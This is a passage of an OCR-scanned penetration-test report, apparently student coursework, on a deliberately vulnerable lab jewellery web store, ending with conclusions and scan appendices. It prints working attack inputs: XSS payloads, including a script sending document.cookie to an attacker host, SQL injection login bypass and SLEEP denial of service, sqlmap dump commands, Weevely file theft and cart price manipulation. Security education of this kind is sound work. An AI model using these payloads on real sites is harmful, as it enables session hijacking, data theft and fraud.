Figure 2.7.2b — Using Weevely to Steal Website Content

This gave the attacker a copy of all files stored on the website as can be seen in (Figure 2.7.2c) below.

¢ » « frHome Desktop website » Qle: = 000
O Recent [ ] Bl
@ @ @ @ D D
@ Home sboutphp  adminarea sppendage.  cartphp  Changepass changepictu checkout.  comingsoo  company-  config-exec. confimchec  ConfrmR
php word.php re.php php nphp accounts php kout. php php
B Desktop
-— -— N
[ Dacuments L] L] @D D (-] @
— contact  contactphp cookiephp  copy of css defaultphp  delvery.  deliveryphp extrasphp  featred.  fileuploadty  flexslider.
@ Downloads Changepass html php pe.php php
1 Music word.php
L = [ [~ —
0 Pictures @ @
H Videos font footerphp  genericinstr  headLhtml headerphp  headerz.  hiddenphp iisadmin image includes  index.php  instructions.
uctions.php php php
@ Wastebasket =— — —
@ @ @ @ @ @
+ Other Locations 3 latestphp  loginphp  logoutphp  navigation Photos  phpinfo.php  pictures  processche  processlogi  profile.php  randomfeat
php ckout php nphp ured.php
l B O |
receptphp  register.  registerphp remove.php removeqly.  robotsbt  searchphp searchresul sectionhtml sglem.php  terms.html  tems.php
html php tphp
B
toplinks.  top_links2. topsellphp ftopviewed. updatepass  updategty. usemame.  viewphp  viewproduc [NETEOES
php php php word.php php php tphp e.php

iswpurchase php” selected (6.1 KB)

Figure 2.7.2c — Stolen Website Contents

2.7.3 Testing Input for XSS
User Level

When testing for XSS the attacker first started with fields basic users would have access to. Of those
tested, search.php (Figure 2.7.3a) and register.php (Figure 2.7.3b) were both vulnerable to XSS. On
register.php the username, address and email fields were all vulnerable to XSS across the application. As
the admin area has a users page some specifically targeted XSS could be used to capture the admin

username and password using by reading the cookie contents or the session ID could be stolen. This
attack is demonstrated in (Figure 2.7.3c) below.
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RA Jewellery Ontne Store - Mool Fewefox
W RA Jewndery Qoline = w0 Prefences ® o Mt U197 IpideD00] *  [TEMS BOUGHT ¥ VIEW USER RECORDS * AR 16 poaeipg ¥ @

L3 192 168 1,10

B2 Most Vishied «

Figure 2.7.3a — search.php <script>alert(1)</script>

A Jewnbery Orioe Store « Mozla Frefoo

U PA wavieny Cxive . w a BA Jewetecy Duire - ®  (TEMS ROUGHT * VEWUSRESIORDS o  mpNI I peresaig X © Prebweroes - .

ussmare

Figure 2.7.3b -register.php <svg onload= alert( )>
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root@kali: ~ o x VIEW USER RECORDS - Moxzilla Firefox [-)

File Edit View Search Terminal Help | A RA Jewellery Online .. x ¥ Preferences x| ) VIEW USER RECORDS x | EDIT PAGE x  VIEW USER RECORDS x &
i (€)@ 192168110 < |[a 4B O % 1
2 Most Visited v

VIEW USER RECORDS

Hi, admin Good To See You Working! || Logout
| Home | Products | Categories | Sub Categories | Users | | PAGE |

View All | View Paginated | Add a new record

m | st st | usename | Password Email Address Tel AccType | St
0001 | lan Ferquson | fanf password | If@yahoo.com Montadne | 54054491 | user 1
0002 | Benny | Hill admin joseph admin@hacklabmadeup.com ;‘,’]‘;::f’h{"e ‘ 54954491 | Administrator | 0
0003 | Steve Brown hacklab hacklab hacklab@hacklab.com é:’:gt ‘ 59999995 | user 1

Walting for 192.168.1.200, _J. iEnes |

Figure 2.7.3c Stealing Admin Session/Cookie <script> new Image().src="http.//192.168.1.200:1996/'+document.cookie; </script>

Converting the secret cookie from
“5957527461573436616d397a5a58426f4f6a45314d44677a4d5449334f54553d"gives
“admin:joseph:1508312795”, confirming that the attack worked as expected.

Administrator level

The following attacks would not have worked if admin access had not been obtained but since several
methods of obtaining said access have been discovered in this investigation this should still be taken
very seriously.

The admin page initially seemed to be secured against script injection as all of the “edit” pages were
well protected. However, the “add”-type of pages were vulnerable on site, with no alterations during
transport required. The highest impact additions are the category (Figure 2.7.3d) and sub category
(Figure 2.7.3e) pages — as these are shown on the user area of the website. Stealing user credentials
while having access to the admin account is rather pointless, especially when the application makes no
attempt to hide the passwords — passwords are stored in plaintext. Instead, the attacker may choose to
redirect website visitors to their own malicious website.

VIEW CATEGORY RECORDS - Mazilla Firefox VIEW SUB CATEGORY RECORDS - Mozilla Firefox o«
# RAJewellery Online ., / 7 VIEW CATEGORYREC... x | & RA JewelieryOnlne . | & RA Jewellery Oniine .. x | + 6 RAJewelleryOnline x| € VIEW SUB CATEGOR_ | @ RAJewellery Online _ X | # RAJewellery Oniine .. x +
€ @ 192168110/ minsea ries, ph x | Q Sea a8 3 € ©[192.168.1.10/adm) wsubcat php x Search 8 & &
B Most Visitedw [f§iOtfensie Secunty "\ Kall Linux \Kali Docs %\ Kall Tools = Exploit-DB WAlrcrack-ng RUKal Forums \ NetHunter @ Getting Started £Most Vishedw [iOffensive Security N\ Kall Linux "\ Kall Docs "\ Kali Tools = Exploit-D8 WAircrack-ng fUiKall Forums "\ NetHunter @ Getting Started

L This network may requre you to logn to use the mtemet.

(2 This network may require you to login to use the itemet.

sub category 1
new category 1

€ 192168110 x ||Q search e 3 AD
51 Most Visitedv [lOffensive Securty %\ Kall Linux "\ Kall Docs S\ Kall Tools & Explot-DB WAicrack-ng fUKall Forums \ NetHunter @ Getting Started
(2J This network may require you to login to use the internet.

@ 192.168.110 8 3

2 Most Visitea . [FJOffensie Securlty N\, Kall Linux \Kall Docs % Kali Tools = Exploit-08 WAkcrack-ng Kl Forums S\ Nethunter @ Getting Starts

| Show Login Pag

(LJ This network may require you to login to use the intemet s

sub category 1

new category 1

Figure 2.7.3d — Admin XSS Category Page Figure 2.7.3d — Admin XSS Sub-Category Page
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2.7.4 Testing Input for SQL Injection

Using the “SQL Syntax and Error Reference” found in chapter 9 of the Web Application Hackers
Handbook the attacker discovered several injectable forms.

The most interesting one discovered to be vulnerable was “copy of Changepassword.php”, as it had

debug information that would print out after every request that assisted in exploiting it. In (Figure

2.7.4a) a SQL injection attack that makes use of this feature to change the admin password can be seen.
RA Jewellery Online Store - Mozilla Firt

® RA Jewellery Online ... x | VIEW USER RECORDS x & RA Jewellery Online ...
€ ) ® & | 192.168.1.10/copy of Changepassword.php e |lQ se

[ Most Visitedv il Offensive Security N Kali Linux  Kali Docs “ Kali Tools = Exploit-D

Figure 2.7.4a — copy of Changepassword.php — Admin Password Change

The login form’s password check can be bypassed by SQL injecting the username field with a valid
username followed by “ ‘)-- “ such as “admin’)-- “ this attack can be seen in (Figure 2.7.4b) below.

€

Astiey Jewallary.

RA Jewellery Oriime Stare - Mazila Firefox

Y Corncting x| EONT PAGE x| & RAJowsliory Onire . % ITEMS BOUGHT x| VEWUSERRECORDS  x  mp/19216. piehamsipg X 4 Pret

Welcome Back Webmaster Redirecting to personal home page

oK

VIEW USER RECORDS
Hi, admin')-- Good To See You Worki

| Home | Products | Categories | Sub Categories | Users || PAGE |
View All | View Paginated | Add a new

| FirstName | Last Name Usemame Password Emall | Address el

Figure 2.7.4b — login.php SQL Injection to Bypass Login
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It was also discovered that search.php is vulnerable to SQL injection, and that access to the entire
website can be restricted with a single command in search. Technically the SLEEP command should only
delay for 15 seconds in the following examples. However, for some reason on the RA Jewellery website
using SLEEP caused the server to hang indefinitely. Accessing the website became completely impossible
and the virtual copy had to be restarted in order to regain functionality. Only “Views” and “Price” were
found to be vulnerable. The hang-up (endless “connecting...”) caused by SLEEP on views and price can

be seen in (Figure 2.7.4c) below.

RA Jewedlery = Login Screen - Maallia Firefox. -] D‘
) Comnactrg. a4
€ 4 0 1218110 wE 4+ AT =
[ Most Vst [JCttenshe Securty % KaliLinie % 8al Docs K Tocks & Biplit-06 W Akcrzckeng Kl Forums %, Nethinter @ Getting Startsd
SLEEPS)
e v
Swch | O
RA Jewellery :: Login Screen - Mozilla Firefox 00
New Tab x | () Connecting x4+
€ @ 192.168.1100ea T8 +$§ F @ =

8 Most Wisited v [BOffensive Security S Kali Linux ", Kali Docs " Kali Tools & Exploit-D8 Wy Avrack-ng @Kali Forums % NetHunter @ Getting Started

X

I This network may reguire you to login o use the internet.

-SLEEP(15)
Views v

Search Clear

Figure 2.7.4c — search.php SQL Injection Causes Denial of Service
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2.74.1 SQLMAP

Using a tool called SQLMAP (kali.org) on the login.php form the attacker was able to enumerate the
database name, tables and table content. Some proof examples given in (Figure 2.7.4d). Any of the
tables present in the figure could have been accessed, those in the example were chosen at random.

shutting down at 17:34:88

# sqlmap -u *http://192.168.1.18/processlogin.php” --data="txtusername=ha rd=hacklab® --method POST s s=MyS table -D bbjewels --threads

17:36:28

-u "http://192.168.1.10/processlogin.php® --data="txtusername=hacklab&txtpassword=hacklab" --method POST --dbs --dbms=MySQL --columns -T users -D bbjewels

[#] shutting down at 17:41:52

# sqlmap -u *http://192.168.1.16/processlogin.php* --data="txtusername=hacklab&txtpassword=hacklab" --method POST --dbs --dbms=MySQL --columns -T webcontent -D bbj
Ewels --threads 10

Figure 2.7.4.1a — SQLMAP Enumeration of Databases from login.php
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2.8 TEST FOR LOGIC FLAWS

2.8.1 Identify Key Attack Surfaces

The key area of the website which may fall victim to logic flaws is the transaction pages — those involved
with adding items to the cart. Analysis of the item purchase process showed that item prices cannot be
manipulated — they appear to be fetched from the database at each step. However, the item quantity is
set by the user and is passed as a parameter, so it was worth testing.

2.8.2 Test Multistage Processes

It was determined that the view cart step could be skipped, and the user could go straight to checkout
after adding an item. This has absolutely no effect on the application as the behaviour of the submitted
content is the same either way, as is the end result.

2.8.3 Test Handling of Incomplete Input

When attempting to submit an item quantity of zero the application rejects the request client-side, a
valid request (1 to 100) can be altered by the burp proxy to contain 0 of an item. Once again, this
provides no real benefit to the attacker.

2.8.4 Test Transaction Logic

While negative quantity requests are rejected client-side, valid requests can be altered to contain
unintended values, as mentioned above. By choosing a negative quantity the attacker was able to
produce a negative checkout total. In a more realistic case the attacker may add several items and use
this negative quantity exploit to reduce the overall cost rather than make such an obvious change. The
negative cart total and how it was created can be seen in (Figure 2.8.4a) below.

o ey 2 Connecting x\+
I [ e Project options. User opiors Aerts
Scanoer | Intruder € © 192168110 * 8 ¥ & O =

# Most Vistedv [llOffensive Security S, Kall Linox "\, Kall Docs “\Kall Tools & Exploit-DB W Alrcrack-ng

( 7z

[ Hidden field [txtuserid] | ooos

I Hidden field [jewelid] | ocor

RA Jewellery Online Store - Mozilla Firefox e e ¢

ellery Online
€ © 192168110 \ 0 ¢ A 9

=1 Most Visitedv [Offensive Securty "\ Kall Linux *\ Kali Docs S\ Kall Tools DB W Aircrack-ng TKall Forums  NetHunter @ Gettng Started
PRODUCT & €[ AMOUNT UPDATE QIY

v [ v

Figure 2.8.4a — view.php Exploiting Item Quantity to Reduce Total Cost
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2.9 TEST FOR SHARED HOSTING VULNERABILITIES

[This stage of testing was not applicable to RA Jewellery]
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2.10 TEST FOR APPLICATION SERVER VULNERABILITIES

2.10.1 Test for Default Content
1.

w

The Nikto scan conducted in section 2.1 revealed a plethora of default PHP content including:
1.1. /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

1.2. /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42

1.3. /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42

1.4. /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42

1.5. Phpinfo.php (Appendix B1)

Robots.txt (Section 2.2)
cgi-bin/printenv (Appendix D1)
cgi-bin/test-cgi (Appendix D2)

2.10.2 Test for Dangerous HTTP Methods
The entire site uses HTTP, all traffic between users and the website may be viewed in plaintext allowing
for easy man in the middle attacks.

2.10.3 Test for Web Server Software Bugs
According to the NESSUS (tenable.com) Web Application Vulnerability Scanner, the server is vulnerable
in the following ways:

© RNV A BN

OpenSSL Heartbeat Information Disclosure (Heartbleed)
OpenSSL 'ChangeCipherSpec' MiTM Vulnerability

HTTP TRACE / TRACK Methods Allowed

SSL Certificate Expiry

SSL Version 2 and 3 Protocol Detection

SSL Certificate Signed Using Weak Hashing Algorithm
SSL Medium Strength Cipher Suites Supported

SSL Certificate Cannot Be Trusted

SSL Self-Signed Certificate

10. SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE)

The full Nessus report can be seen in (Appendix E1)
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2.11 MISCELLANEOUS CHECKS

2.11.1 Reviewing Page Source

While inspecting source on most pages did not reveal much, on hidden.php and contact.php there was
very significant information disclosure present. hidden.php contains: “***Note to self: Door entry
number is 1846”, and contact.php contains “***note document root is
/mnt/sda2/swag/output/vulnerable/site” -although this seemed to be an old comment as the actual
content of the website was found at “/mnt/sda2/website” as was confirmed by several other sources.

The comments present on the two pages can be seen in (Figure 2.11.1a) below.

-

Mozilla Firefox e ® O
) http://192.1...0/hidden.php x | http://192.1...aginated.php x £k Preferences x| +
€  ®|192.168.1.10/hidden.php ¢ ||Q Search wB 3§ 4 O =
{5 Most Visitedv [l Offensive Security “§ Kali Linux “ Kali Docs "y Kali Tools % Exploit-DB Wy Aircrack-ng »
- B o con.. | ug.. () StyleE.. @Perfor.. {kMe. =Net. B8 B & O & X
+ Search HTML s B m Computed Animations Fonts
<!|--¥*¥Note to self: Door entry number is 1846--> Filter Styles + .,
<html> T
<head></head> element { inline
[ bodp</body> M
. </html>
Mozilla Firefox e ® O
J" http://192.1.../contact.php x | http://192.1...aginated.php £x Preferences e 3 G 2
€  ©®|192.168.1.10/contact.php ¢ ||Q Search wBa 3+ & =
{5 Most Visitedv il Offensive Security “§ Kali Linux “ Kali Docs "y Kali Tools * Exploit-DB W Aircrack-ng »

This page is down for maintenance

=[BRS o con.. ODebug.. {}StyleE.. @Perfor. OiMe. =Net. H-EH B & O & X
+

Search HTML s [ m Computed Animations Fonts
T B Filter Styles + F'?ZI%
%% Not + nt W +
.‘HoLe‘documgnt roo&‘ls /mnt/sda2/swag/output/vulnerable elemant { Imine
/site. Tidy this up later. }
-
<html>

<head></head>

<body>This page is down for maintenance</body>
</html>

Figure 2.11.1a — contact.php & hidden.php Information Disclosure in Comments
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3 CONCLUSIONS

3.1 CONCLUSIONS

RA Jewellery’s Online Store is vulnerable to a multitude of attacks, of varying severity. This includes, but
is not limited to; SQL injection, stored XSS, reflected XSS, remote code execution, account information
disclosure, session fixation, CSRF, authentication bypassing, path traversal, et al.

The application was very inconsistent throughout and as such was very easily exploited. There is a real
lack of security for everything except the admin area, and even it was let down by insecurity in other
areas. There is no logical reason to protect only half of a form but in multiple instances this was found to
be the case, if the extra few hours had been spent ensuring consistency in mitigations throughout the
website some of the attacks could have been prevented.

Not only does the site have severe security issues but the functionality for users is also affected. By
requiring unigue emails but not requiring unique usernames a user may create an account, attempt to
login only to be told that their password is incorrect. They would be unable to create a new account if
they only had one email as that email would already be bound to an account.

The lack of server-side checks in the cart and checkout sections allow an attacker to reduce their total
cost through an exploit of item quantity. In a large order such an attack would likely go unnoticed but
could cost RA Jewellery even more than the total cost of goods purchased in the worst-case scenario.

3.2 CALLTO ACTION

Caldera Security Services can provide an in-depth review of the website source. The results of which can
be used to suggest vulnerability mitigations as well as fixes for logical errors found within the
application.

Complimentary 1h security workshops are available for up to 10 members of staff to help improve
awareness of company security policy and web application security guidelines.

If you wish to extend this session to more members of staff, organise additional sessions or proceed
with the website source review please contact us using the email address below.

Caldera Security Services - 1503321 @uad.ac.uk
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APPENDICES

APPENDIX A1 — BURP SUITE SPIDERING
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APPENDIX B1 — PHPINFO.PHP

PHP Version 5.4.7

System Linux box 3.0.21-tinycore #3021 SMP Sat Feb 18 11:54:11 EET 2012 i686

Build Date Sep 19 2012 11:10:36

Configure ' Jconfigure' '--prefix=/opt/lampp’ --with-apxs2=/opt/lampp/binfapxs' --with-

Command config-file-path=/opt/lampp/etc’ --with-mysgl=mysqind' '--enable-inline-
optimization' '--disable-debug' '--enable-bcmath' '--enable-calendar'
"--enable-ctype' '--enable-ftp' enable—gd—natlve—ttf' '--enable-magic- quutes
"--enable-shmop' '--disable-sigchild' "--enable: ''_enable-
‘_-enahble-wddx' --\mth—gdbm Hoptflampp' '--mth—]peg—dlr .fopt.ﬂam
"--with-png-dir=/opt/lampp' '--with-freetype-dir=/opt/lampp’ '--mth—zllb =yes'
-with-zlib-dir= fﬂptﬂampp' '--with-openss|=/opt/lampp’ '--with-xsl=/opt
Nlampp' '--with-ldap=fopt/lampp' '--with-gd' '--with-imap-ssl' "--with-
imap=fopt/lampp' --with-gettext=/opt/lampp' --with-mssqgl=/opt/lampp’
‘--with-sybase-ct=/opt/lampp' '--with-interbase=shared /opt/interbase’ '--with-
mysql sock=(opt! ysalf I.sock' —-with-

d,instantclient, Annf" Tliky antclient' '--with-mcrypt=jopt

.ﬂampp '--with-mhash=, li‘f.lptn']ampp' "_enable-sockets' '--enable-mbstring=all'
"--with-curl=jopt/lampp' '--enable-mbregex' '--enable-zend-multibyte'
--enable-exif' --with-bz2=/opt/lampp’ '--with-sglite=shared jopt/lampp’
"--with-sglite3=/opt/lampp' ith-libxml-dir=/opt/lampp' '--enable-soap'
‘-enable-pcntl' --with-mysgli=mysgind' '--with-pgsgl=shared./opt/lampp
Ipostgresgl' '--with-icony' "--with-pdo-mysgl=mysqlnd' ith-pdo-pgsgl=fopt
Nlampp/postgresgl' '--with-pdo-sglite’ '--enable-intl' '--with-icu-dir=fopt/flampp’
"--enable-fileinfe' '--enable-phar'

Server API Apache 2.0 Handler

Virtual disabled

Directory

Suppert

Configuration |/opt/lampp/etc

File {php.ini)

Path

Loaded Joptflampp/etc/php.ini

Configuration

File

Scan this dir  |(none)

for additional

.ini files

Additional .ini |(none)

files parsed

PHP API 20100412

PHP Extension | 20100525

Zend 220100525

Extension

Zend API220100525,NTS

Extension

Build

PHP Extension |API20100525,NTS

Build

Debug Build |no

Thread Safety

Zend Signal disabled

Handling

Zend Memory |enabled

Manager

Zend provided by mbstring

Multibyte

Suppert

IPv6 Support |enabled

DTrace disabled

Suppert

Registered https, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http, ftp, phar

PHP Streams

Registered tcp, udp, unix, udg, ssl, sslv3, sslv2, tis

Stream

Socket

Transports

Registered zlib.*, bzip2.*, convert.iconv.*, mcrypt.*, mdecrypt.*, string.rot13,

Stream Filters |string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk
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PHP Credits

Configuration
apache2handler

Apache Apache/2.4.3 (Unix) Opens5L/1.0.1c PHP/5.4.7

Version

Apache APl 20120211

Version

Server yowgexample.com

Administrator

Hestname:Port bogus host without_reverse dns:80

User/Group nobody(65534)/65534

Max Requests Per Child: 0 - Keep Alive: on - Max Per Connection: 100

Timeouts Connection: 300 - Keep-Alive: &5

Virtual Server 'es

Server Root foptilampp

Loaded core mod_so http_core prefork mod_authn_file mod_authn_dbm

Modules mod authn anon med authn dbd mod authn secache mod authn core
mod authz_host mod authz grﬂ-upﬁle mod authz user mod authz dbm
mod authz owner mod authz dbd med authz core mod authnz Idap
mod access _Ccompat mod auth basic moed auth form meod auth _digest
mod allowmethods mod file cache mod cache mod cache disk
mod _socache shmcb mod socache dbm mod su-l:ache memcache
mod dbd mod bucketeer mod dumplu mod echo mod case filker
mod case filter in mod buffer mod ratelimit mod reqtlmeu-ut
mod ext filter mod request mod include mod filter mod substitute
mod sed mod charset lite mod deflate mod_ mime util I-l:lap mod_loeg_config
mod | | log | debug mod Iu-glu- mod env mod mime _magic “mod cern meta
mod | e:plres mod headers mod usertrack mod | unique_id mod setenvif
mod version mod | remoteip mod | proxy mod_proxy_connect mod | proxy_ftp
mod | |_proxy_http mod | proxy_fogi mod | proxy_scgi mod_proxy EIJD
mod | |_proxy_balancer ‘mod |_proxy_express mod_session 'mod session cookie
mod session dbd med slotmem shm med ssl meod Ibmethod t:ryrrequesls
mod |bmethod by'trafhc mod |bmethod t:ryrbusyrness
mod | Ibmethu-l:l heartbeat mu-d unixd mod dav mod status mod autoindex
mod info mod suexec mod | cgi mod_cogid ‘mod dav s mod vhost alias
mod_negotiation mod_dir mod_actions mod_speling mod_userdir mod_alias
mod_rewrite mod_phpb

Directive Local Value Master Value

engine 1 1

last_modified

xbithack 0 0
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Apache Environment

Variable Value
UNIQUE_ID WecibnBASAEAARDw Ik BAAAAT
HTTP_HOST 192.168.1.10
HTTP_USER_AGENT Mogzilla#5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
HTTP_ACCEPT text/himl,application/xhtmi+ xml, application/xml;g=0.9,*/*;g=0.8
HTTP_ACCEPT_LANGUAGE |en-US.eng=0.5
HTTP_COOKIE PHPSESSID=057 1 0oonnvbijvgdmucovias
SecretCookie= 595?52?%15?3-!11651&3‘9?3Samzﬁfdf&adﬂlddd%??addmﬂ}dﬁdﬁ}d
filemanager=b3dalul2jBrda7ii35sko1n085
HTTP_CONMECTION dlase
PATH fuesrfkocalfshin: fusrflocalfbin: fshin: fusrfsbin: Min: fusrfbin
LD_LIBRARY_PATH foptflampp/iib:/eptilamppiib
SERVER_SIGNATURE na valwe
SERVER_SOFTWARE Apache2.4.3 {Unix} OpenSSL1.0.1c PHR/S.AT
SERVER_NAME 192.168.1.10
SERVER_ADDR 192.168.1.10
SERVER_PORT B0
REMOTE_ADDR 192.168.1.200
DOCUMENT_ROOT Imntfsda’fwebsite
REQUEST SCHEME hitp
CONTEXT_PREFIX no valwe
CONTEXT DOCUMENT_ROOT| /mnt/sdal/website
SERVER_ADMIN WOKGEXample.com
SCRIPT_FILENAME fmnt/sda?fwebsite/phpinfo.php
REMOTE_PORT 34014
GATEWAY_INTERFACE CGl.1
SERVER_PROTOCOL HTTR/1.1
REQUEST METHOD GET
QUERY_STRING na valwe
REQUEST_URI {phpinfo.php
SCRIPT_NAME Iphpinfo.php
HTTP Headers Information
HTTP Request Headers

HTTP GET /phpinfo.php HTTR/L.1

Request

Host 192.168.1.10

User-Agent  Mozilla/5.0 (X11; Limox xB6_64; rv:45.0) Gecka/20100101 Firefox/45.0

Accept text/html, application/xhtml+xml, applicationfxml;g=0.9,*/*:q=0.8

Accept- en-Us,en;q=0.5

Language

Cookie PHPSESSID=05T10oonnvbiljvg®mucovias.

SecretCookie=5395752 ?%15?H15&1&d39?a 3a58426f4f6ad 331444467724 d5449334f54 353d;
filemanager=b3dalul 2jBrdaTi335Ib9 1ndB5

Connection  close

HTTP Response Headers
¥-Powered-By PHP/5.4.7
becmath
BCMath support enabled
Directive Local Value Master Value
bemath.scale ] LI}
bz2

BZip® Support Enabled
Stream Wrapper support compress. baipd ff

Stream Filter support

BZip? Version

berip?. decompress, brip?.compress
L.0.5, 10-Dec-2007
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Core

PHP Version 5.4.7
Directive Local Value Master Value
allow_url_fopen On On
allow_url_include Off Off
always_populate_raw_post_data Off Off
arg_separatorinput & &
arg_separator.output & B
asp_tags Off Off
auto_append_file o valke no vale
auto_globals_jit On On
auto_prepend_file no vale no value
browscap no vale no value
default_charset no vale no value
default_mimetype text/himl text/html
disable_classes na vale no value
disable_functions o valke no vale
display_errors Off Off
display_startup_errors On On
doc_root no vale no value
docref ext no vale no value
docref root no vale no value
enable_dl Off Off
enable_post_data_reading On On
error_append_string o valke no vale

error_log foptflampp/logs/php_emor_log | foptflamppiogs/php_emor_log

error_prepend_string no vale no value

error_reporting 32767 32767

exit_on_timeout Off Off

expose php On On

extension_dir foptilampp/iib/phpfextensions | foptflamppilib/php/extensions
Ino-debug-non-zts-20100525 Ino-debug-non-zts-20100325

file_uploads On On

highlight.comment

highlight.default #ODMDEE

highlight.htmi
highlight. keyword

highlight.string

htmi_errors

ignore_repeated_errors

ignore_repeated_source

ignore_user_abort

implicit_flush

include_path -foptilampp/iibphp - :fopt/lamppiiibphp
log_errors On On
log_errors_max_len 1024 1024
mail.add_x_header On On
mail.force_extra_parameters no vake no vale
mail.log no vale no value
max_execution_time 30 30
max_file uploads 20 20
max_input_nesting_level ("] B4
max_input_time (1] (1]
max_input_vars 1000 1000
memo ry_limit 128M 12EM
open_basedir no vake no vale
output_buffering A6 A
output_handler na vale no value
post_max_size BM BM
precision 14 14
realpath_cache_size 16K 16K
realpath_cache_ttl 120 120
register_argc_argwv Off Off
report_memleaks On On
report_zend_debug On On
request_order GP GP
sendmail_from o valke no vale
sendmail_path Jusi{sbinfsendmail -t -i Jusrishin/sendmail -t -i
serialize_precision 100 100
short_open_tag On On
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SMTP lacalhast kacalhast
smtp_port 25 25
sql.safe_mode Off Off
track_errors On On
unserialize_callback_func no value no value
upload_max_filesize M M
upload_tmp_dir no value no value
user_dir no value no value
user_ini.cache_ttl IO 00
user_ini.filename userini userini
variables_order GPCS GPCS
xmirpc_error_number L1} 0
¥mirpc_errars Off Off
zend.detect_unicode On On
zend.enable_gc On On
zend . multibyte Off Off
zend.script_encoding no value no value
ctype
ctype functions enabled
curl
cURL support enabled
cURL T.2L0
Information
Age 3
Features
AsynchDNS No
Debug No
G55-Negotiate  No
IDN Na
IPv Na
Largefile fes
NTLM fes
SPNEGO Na
55L fes
55PI Na
krbd N
libz fes
CharConwv N
Protocols dict, file, ftp, ftps, http, hitps, imap, imaps, iap. Maps, pop3. pop3s. rtsp, smip,
smips, telnet, tip
Host 1586 pec-linn:-ginu
551 Version OpenSSL1.0.1c
Zlib Version 123
date
date/time support enabled
“Olson” Timezone Database Version 20123
Timezone Database internal
Default timezone Ewrope/Beriin
Directive Local Value Master Value
date.default_latitude 31.766T 31.766T
date.default_longitude 35.2333 35.2333
date.sunrise_zenith o0.583333 o0.583333
date.sunset_zenith 90.583333 90.583333
date.timezone Ewrope/Beriin Ewrope/Beriin
dba
DBA support enabled

Supported handlers

gdbm cdb cdb make inifile flatfile
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APPENDIX C1 - SUGGESTIONS FOR FORMATTING FIGURES/TABLES/SCREENSHOTS IN THE
BODY OF THE TEXT

- Nikto v2.1.6

+ Target IP: 192.168.1.10
+ Target Hostname: 192.168.1.10
+ Target Port: 80

+ Start Time: 2017-11-23 11:37:29 (GMTO)

+ Server: Apache/2.4.3 (Unix) OpenSSL/1.0.1c PHP/5.4.7
+ Retrieved x-powered-by header: PHP/5.4.7
+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms
of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in
a different fashion to the MIME type

+ Cookie PHPSESSID created without the httponly flag

+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x2a 0x55b97ca8d4b00
+ OSVDB-3268: /company-accounts/: Directory indexing found.

+ Entry '/company-accounts/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 1 entry which should be manually viewed.

+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See
http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found:
HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var,
HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var,
HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var,
HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var,
HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var,
HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var

+ OpenSSL/1.0.1c appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.00 and 0.9.8zc are also current.
+ PHP/5.4.7 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.

+ Apache/2.4.3 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29
are also current.
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+ OSVDB-112004: /cgi-bin/printenv: Site appears vulnerable to the 'shellshock' vulnerability
(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).

+ 0OSVDB-112004: /cgi-bin/printenv: Site appears vulnerable to the 'shellshock' vulnerability
(http://cve.mitre.org/cgi-bin/cvename.cgi?’name=CVE-2014-6278).

+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.

+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-
us/library/e8z01xdh%28VS.80%29.aspx for details.

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

+ OSVDB-3268: /iisadmin/: Directory indexing found.

+ /iisadmin/: Access to /iisadmin should be restricted to localhost or allowed hosts only.

+ /phpinfo.php?VARIABLE=<script>alert('Vulnerable')</script>: Output from the phpinfo() function was found.

+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information
via certain HTTP requests that contain specific QUERY strings.

+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information
via certain HTTP requests that contain specific QUERY strings.

+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information
via certain HTTP requests that contain specific QUERY strings.

+ 0OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information
via certain HTTP requests that contain specific QUERY strings.

+ OSVDB-3268: /includes/: Directory indexing found.
+ OSVDB-3092: /includes/: This might be interesting...

+ OSVDB-3233: /cgi-bin/printenv: Apache 2.0 default script is executable and gives server environment variables.
All default scripts should be removed. It may also allow XSS types of attacks.
http://www.securityfocus.com/bid/4431.

+ OSVDB-3233: /cgi-bin/test-cgi: Apache 2.0 default script is executable and reveals system information. All default
scripts should be removed.

+ /phpinfo.php: Output from the phpinfo() function was found.

+ OSVDB-3233: /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of
system information.

+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /image/: Directory indexing found.

+ /phpinfo.php?GLOBALS[test]=<script>alert(document.cookie);</script>: Output from the phpinfo() function was
found.

+
